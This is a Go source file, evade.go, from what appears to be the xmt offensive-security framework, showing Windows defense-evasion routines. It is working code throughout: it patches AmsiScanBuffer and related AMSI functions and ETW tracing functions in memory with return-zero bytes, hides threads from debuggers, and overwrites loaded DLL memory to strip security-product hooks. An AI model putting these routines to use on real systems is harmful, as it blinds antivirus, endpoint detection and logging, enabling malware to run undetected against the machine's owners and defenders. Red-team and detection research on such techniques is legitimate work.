github.com/iDigitalFlame/xmt@v0.5.4/device/winapi/evade.go (about) 1 //go:build windows 2 // +build windows 3 4 // Copyright (C) 2020 - 2023 iDigitalFlame 5 // 6 // This program is free software: you can redistribute it and/or modify 7 // it under the terms of the GNU General Public License as published by 8 // the Free Software Foundation, either version 3 of the License, or 9 // any later version. 10 // 11 // This program is distributed in the hope that it will be useful, 12 // but WITHOUT ANY WARRANTY; without even the implied warranty of 13 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 // GNU General Public License for more details. 15 // 16 // You should have received a copy of the GNU General Public License 17 // along with this program. If not, see <https://www.gnu.org/licenses/>. 18 // 19 20 package winapi 21 22 import ( 23 "strings" 24 "syscall" 25 "unsafe" 26 27 "github.com/iDigitalFlame/xmt/device/arch" 28 "github.com/iDigitalFlame/xmt/util/bugtrack" 29 ) 30 31 // PatchAmsi will attempt to zero out the following function calls with a 32 // ASM patch that returns with zero (Primary AMSI/PowerShell calls). 33 // 34 // - AmsiInitialize 35 // - AmsiScanBuffer 36 // - AmsiScanString 37 // 38 // This will return an error if any of the patches fail. 39 // 40 // This function returns 'syscall.EINVAL' if ASMI is not avaliable on the target 41 // system, which is Windows 10 and newer. 42 func PatchAmsi() error { 43 if !IsWindows10() { 44 return syscall.EINVAL 45 } 46 if err := zeroPatch(funcAmsiInitialize); err != nil { 47 return err 48 } 49 if err := zeroPatch(funcAmsiScanBuffer); err != nil { 50 return err 51 } 52 if err := zeroPatch(funcAmsiScanString); err != nil { 53 return err 54 } 55 return nil 56 } 57 58 // PatchTracing will attempt to zero out the following function calls with a 59 // ASM patch that returns with zero: 60 // 61 // - NtTraceEvent 62 // - DebugBreak 63 // - DbgBreakPoint 64 // - EtwEventWrite 65 // - EtwEventRegister 66 // - EtwEventWriteFull 67 // - EtwNotificationRegister 68 // 69 // This will return an error if any of the patches fail. 70 // 71 // Any system older than Windows Vista will NOT patch ETW functions as they do 72 // not exist in older versions. 73 func PatchTracing() error { 74 if err := zeroPatch(funcNtTraceEvent); err != nil { 75 return err 76 } 77 if err := zeroPatch(funcDebugBreak); err != nil { 78 return err 79 } 80 if err := zeroPatch(funcDbgBreakPoint); err != nil { 81 return err 82 } 83 if !IsWindowsVista() { 84 return nil 85 } 86 // NOTE(dij): These are only supported in Windows Vista and above. 87 if err := zeroPatch(funcEtwEventWrite); err != nil { 88 return err 89 } 90 if err := zeroPatch(funcEtwEventWriteFull); err != nil { 91 return err 92 } 93 if err := zeroPatch(funcEtwEventRegister); err != nil { 94 return err 95 } 96 if err := zeroPatch(funcEtwNotificationRegister); err != nil { 97 return err 98 } 99 return nil 100 } 101 102 // HideGoThreads is a utility function that can aid in anti-debugging measures. 103 // This will set the "ThreadHideFromDebugger" flag on all GOLANG threads only. 104 func HideGoThreads() error { 105 return ForEachThread(func(h uintptr) error { 106 // 0x11 - ThreadHideFromDebugger 107 if r, _, _ := syscallN(funcNtSetInformationThread.address(), h, 0x11, 0, 0); r > 0 { 108 return formatNtError(r) 109 } 110 return nil 111 }) 112 } 113 func zeroPatch(p *lazyProc) error { 114 if p.find() != nil || p.addr == 0 { 115 // NOTE(dij): Not returning the error here so other function calls 116 // /might/ succeed. 117 return nil 118 } 119 // 0x40 - PAGE_EXECUTE_READWRITE 120 o, err := NtProtectVirtualMemory(CurrentProcess, p.addr, 5, 0x40) 121 if err != nil { 122 return err 123 } 124 (*(*[1]byte)(unsafe.Pointer(p.addr)))[0] = 0x48 // XOR 125 (*(*[1]byte)(unsafe.Pointer(p.addr + 1)))[0] = 0x33 // RAX 126 (*(*[1]byte)(unsafe.Pointer(p.addr + 2)))[0] = 0xC0 // RAX 127 (*(*[1]byte)(unsafe.Pointer(p.addr + 3)))[0] = 0xC3 // RET 128 (*(*[1]byte)(unsafe.Pointer(p.addr + 4)))[0] = 0xC3 // RET 129 _, err = NtProtectVirtualMemory(CurrentProcess, p.addr, 5, o) 130 syscallN(funcNtFlushInstructionCache.address(), CurrentProcess, p.addr, 5) 131 return err 132 } 133 134 // PatchDLLFile attempts overrite the in-memory contents of the DLL name or file 135 // path provided to ensure it has "known-good" values. 136 // 137 // This function version will read in the DLL data from the local disk and will 138 // overwite the entire executable region. 139 // 140 // DLL base names will be expanded to full paths not if already full path names. 141 // (Unless it is a known DLL name). 142 func PatchDLLFile(dll string) error { 143 a, b, err := ExtractDLLBase(dll) 144 if err != nil { 145 return err 146 } 147 return PatchDLL(dll, a, b) 148 } 149 150 // CheckDLLFile attempts to check the in-memory contents of the DLL name or file 151 // path provided to ensure it matches "known-good" values. 152 // 153 // This function version will read in the DLL data from the disk and will verify 154 // the entire executable region. 155 // 156 // DLL base names will be expanded to full paths not if already full path names. 157 // (Unless it is a known DLL name). 158 // 159 // This returns true if the DLL is considered valid/unhooked. 160 func CheckDLLFile(dll string) (bool, error) { 161 a, b, err := ExtractDLLBase(dll) 162 if err != nil { 163 return false, err 164 } 165 return CheckDLL(dll, a, b) 166 } 167 func loadCachedEntry(dll string) (uintptr, error) { 168 if len(dll) == 0 { 169 return 0, ErrInvalidName 170 } 171 b := dll 172 if !isBaseName(dll) { 173 if i := strings.LastIndexByte(dll, '\\'); i > 0 && len(dll) > i { 174 b = dll[i:] 175 } 176 } 177 if len(b) == 0 { 178 return 0, ErrInvalidName 179 } 180 switch { 181 case strings.EqualFold(b, dllNtdll.name): 182 if err := dllNtdll.load(); err != nil { 183 return 0, err 184 } 185 return dllNtdll.addr, nil 186 case strings.EqualFold(b, dllKernelBase.name): 187 if err := dllKernel32.load(); err != nil { 188 return 0, err 189 } 190 return dllKernel32.addr, nil 191 case strings.EqualFold(b, dllKernel32.name): 192 if err := dllKernel32.load(); err != nil { 193 return 0, err 194 } 195 return dllKernel32.addr, nil 196 case strings.EqualFold(b, dllAdvapi32.name): 197 if err := dllAdvapi32.load(); err != nil { 198 return 0, err 199 } 200 return dllAdvapi32.addr, nil 201 case strings.EqualFold(b, dllUser32.name): 202 if err := dllUser32.load(); err != nil { 203 return 0, err 204 } 205 return dllUser32.addr, nil 206 case strings.EqualFold(b, dllDbgHelp.name): 207 if err := dllDbgHelp.load(); err != nil { 208 return 0, err 209 } 210 return dllDbgHelp.addr, nil 211 case strings.EqualFold(b, dllGdi32.name): 212 if err := dllGdi32.load(); err != nil { 213 return 0, err 214 } 215 return dllGdi32.addr, nil 216 case strings.EqualFold(b, dllWinhttp.name): 217 if err := dllWinhttp.load(); err != nil { 218 return 0, err 219 } 220 return dllWinhttp.addr, nil 221 case strings.EqualFold(b, dllWtsapi32.name): 222 if err := dllWtsapi32.load(); err != nil { 223 return 0, err 224 } 225 return dllWtsapi32.addr, nil 226 } 227 return loadLibraryEx(dll) 228 } 229 230 // PatchFunction attempts to overrite the in-memory contents of the DLL name or 231 // file path provided with the supplied function name to ensure it has "known-good" 232 // values. 233 // 234 // This function version will overwite the function base address against the supplied 235 // bytes. If the bytes supplied are nil/empty, this function returns an error. 236 // 237 // DLL base names will be expanded to full paths not if already full path names. 238 // (Unless it is a known DLL name). 239 func PatchFunction(dll, name string, b []byte) error { 240 if len(b) == 0 { 241 return ErrInsufficientBuffer 242 } 243 h, err := loadCachedEntry(dll) 244 if err != nil { 245 return err 246 } 247 p, err := findProc(h, name, dll) 248 if err != nil { 249 return err 250 } 251 if bugtrack.Enabled { 252 bugtrack.Track("winapi.PatchFunction(): Writing supplied %d bytes %X-%X to dll=%s, name=%s.", len(b), p, p+uintptr(len(b)), dll, name) 253 } 254 // 0x40 - PAGE_EXECUTE_READWRITE 255 // NOTE(dij): Needs to be PAGE_EXECUTE_READWRITE so ntdll.dll doesn't 256 // crash during runtime. 257 o, err := NtProtectVirtualMemory(CurrentProcess, p, uint32(len(b)), 0x40) 258 if err != nil { 259 return err 260 } 261 for i := range b { 262 (*(*[1]byte)(unsafe.Pointer(p + uintptr(i))))[0] = b[i] 263 } 264 if _, err = NtProtectVirtualMemory(CurrentProcess, p, uint32(len(b)), o); bugtrack.Enabled { 265 bugtrack.Track("winapi.PatchFunction(): Patching %d bytes %X-%X to dll=%s, name=%s complete, err=%s", len(b), p, p+uintptr(len(b)), dll, name, err) 266 } 267 return err 268 } 269 270 // PatchDLL attempts to overrite the in-memory contents of the DLL name or file 271 // path provided to ensure it has "known-good" values. 272 // 273 // This function version will overwrite the DLL contents against the supplied bytes 274 // and starting address. The 'winapi.ExtractDLLBase' can suppply these values. 275 // If the byte array is nil/empty, this function returns an error. 276 // 277 // DLL base names will be expanded to full paths not if already full path names. 278 // (Unless it is a known DLL name). 279 func PatchDLL(dll string, addr uint32, b []byte) error { 280 if len(b) == 0 { 281 return ErrInsufficientBuffer 282 } 283 h, err := loadCachedEntry(dll) 284 if err != nil { 285 return err 286 } 287 var ( 288 n = uint32(len(b)) 289 a = h + uintptr(addr) 290 ) 291 if bugtrack.Enabled { 292 bugtrack.Track("winapi.PatchDLL(): Writing supplied %d bytes %X-%X to dll=%s", len(b), a, a+uintptr(len(b)), dll) 293 } 294 // 0x40 - PAGE_EXECUTE_READWRITE 295 // NOTE(dij): Needs to be PAGE_EXECUTE_READWRITE so ntdll.dll doesn't 296 // crash during runtime. 297 o, err := NtProtectVirtualMemory(CurrentProcess, a, n, 0x40) 298 if err != nil { 299 return err 300 } 301 for i := range b { 302 (*(*[1]byte)(unsafe.Pointer(a + uintptr(i))))[0] = b[i] 303 } 304 if _, err = NtProtectVirtualMemory(CurrentProcess, a, n, o); bugtrack.Enabled { 305 bugtrack.Track("winapi.PatchDLL(): Patching %d bytes %X-%X to dll=%s complete, err=%s", len(b), a, a+uintptr(len(b)), dll, err) 306 } 307 return err 308 } 309 310 // CheckFunction attempts to check the in-memory contents of the DLL name or file 311 // path provided with the supplied function name to ensure it matches "known-good" 312 // values. 313 // 314 // This function version will check the function base address against the supplied 315 // bytes. If the bytes supplied are nil/empty, this will do a simple long JMP/CALL 316 // Assembly check instead. 317 // 318 // DLL base names will be expanded to full paths not if already full path names. 319 // (Unless it is a known DLL name). 320 // 321 // This returns true if the DLL function is considered valid/unhooked. 322 func CheckFunction(dll, name string, b []byte) (bool, error) { 323 h, err := loadCachedEntry(dll) 324 if err != nil { 325 return false, err 326 } 327 p, err := findProc(h, name, dll) 328 if err != nil { 329 return false, err 330 } 331 if len(b) > 0 { 332 for i := range b { 333 if (*(*[1]byte)(unsafe.Pointer(p + uintptr(i))))[0] != b[i] { 334 if bugtrack.Enabled { 335 bugtrack.Track("winapi.CheckFunction(): Difference in supplied bytes at %X, dll=%s, name=%s!", p+uintptr(i), dll, name) 336 } 337 return false, nil 338 } 339 } 340 return true, nil 341 } 342 switch (*(*[1]byte)(unsafe.Pointer(p)))[0] { 343 case 0xE9, 0xFF: // JMP 344 if *(*uint32)(unsafe.Pointer(p + 1)) < 16 { // JMP too small to be a hook. 345 return true, nil 346 } 347 if bugtrack.Enabled { 348 bugtrack.Track("winapi.CheckFunction(): Detected an odd JMP instruction at %X, dll=%s, name=%s!", p, dll, name) 349 } 350 return false, nil 351 } 352 if v := (*(*[1]byte)(unsafe.Pointer(p + 1)))[0]; v == 0xFF || v == 0xCC { 353 if bugtrack.Enabled { 354 bugtrack.Track("winapi.CheckFunction(): Detected an odd JMP instruction at %X, dll=%s, name=%s!", p, dll, name) 355 } 356 return false, nil 357 } 358 if (*(*[1]byte)(unsafe.Pointer(p + 2)))[0] == 0xCC || (*(*[1]byte)(unsafe.Pointer(p + 3)))[0] == 0xCC { 359 if bugtrack.Enabled { 360 bugtrack.Track("winapi.CheckFunction(): Detected an odd INT3 instruction at %X, dll=%s, name=%s!", p, dll, name) 361 } 362 return false, nil 363 } 364 // Interesting notice from BananaPhone: https://github.com/C-Sto/BananaPhone/blob/6585e59137610bc0f526bb6647384df74b4b30f3/pkg/BananaPhone/bananaphone.go#L256 365 // Check for ntdll.dll functions doing syscall prep. 366 // Check the first 4 bytes to see if they match. 367 // 368 // mov r10, rcx // 4C 8B D1 B8 51 00 00 00 369 // mov eax, [sysid] // B8 [sysid] 370 // ^ AMD64 Only 371 // 372 // x86 calls SYSENTER at 7FFE0300 instead 373 // mov eax, [sysid] // B8 [sysid] 374 // mov edx, 7ffe0300 // BA 00 03 FE 7F 375 // 376 // NOTE(dij): This can cause some false positives on non-syscall functions 377 // such as ETW or heap management functions. 378 if dllNtdll.addr > 0 && h == dllNtdll.addr { 379 switch arch.Current { 380 case arch.ARM, arch.X86: 381 if v := *(*[5]byte)(unsafe.Pointer(p + 5)); (*(*[1]byte)(unsafe.Pointer(p)))[0] != 0xB8 || v[0] != 0xBA || v[1] != 0x00 || v[2] != 0x03 || v[3] != 0xFE || v[4] != 0x7F { 382 if bugtrack.Enabled { 383 bugtrack.Track("winapi.CheckFunction(): Detected an ntdll function that does not match standard syscall instructions at %X, dll=%s, name=%s!", p, dll, name) 384 } 385 return false, nil 386 } 387 case arch.ARM64, arch.X64: 388 if v := *(*[5]byte)(unsafe.Pointer(p)); v[0] != 0x4C || v[1] != 0x8B || v[2] != 0xD1 || v[3] != 0xB8 || v[4] != 0x51 { 389 if bugtrack.Enabled { 390 bugtrack.Track("winapi.CheckFunction(): Detected an ntdll function that does not match standard syscall instructions at %X, dll=%s, name=%s!", p, dll, name) 391 } 392 return false, nil 393 } 394 } 395 } 396 return true, nil 397 } 398 399 // CheckDLL attempts to check the in-memory contents of the DLL name or file path 400 // provided to ensure it matches "known-good" values. 401 // 402 // This function version will check the DLL contents against the supplied bytes 403 // and starting address. The 'winapi.ExtractDLLBase' can suppply these values. 404 // If the byte array is nil/empty, this function returns an error. 405 // 406 // DLL base names will be expanded to full paths not if already full path names. 407 // (Unless it is a known DLL name). 408 // 409 // This returns true if the DLL is considered valid/unhooked. 410 func CheckDLL(dll string, addr uint32, b []byte) (bool, error) { 411 if len(b) == 0 { 412 return false, ErrInsufficientBuffer 413 } 414 h, err := loadCachedEntry(dll) 415 if err != nil { 416 return false, err 417 } 418 a := h + uintptr(addr) 419 for i := range b { 420 if (*(*[1]byte)(unsafe.Pointer(a + uintptr(i))))[0] != b[i] { 421 if bugtrack.Enabled { 422 bugtrack.Track("winapi.CheckDLL(): Difference in supplied bytes at %X, dll=%s!", a+uintptr(i), dll) 423 } 424 return false, nil 425 } 426 } 427 return true, nil 428 }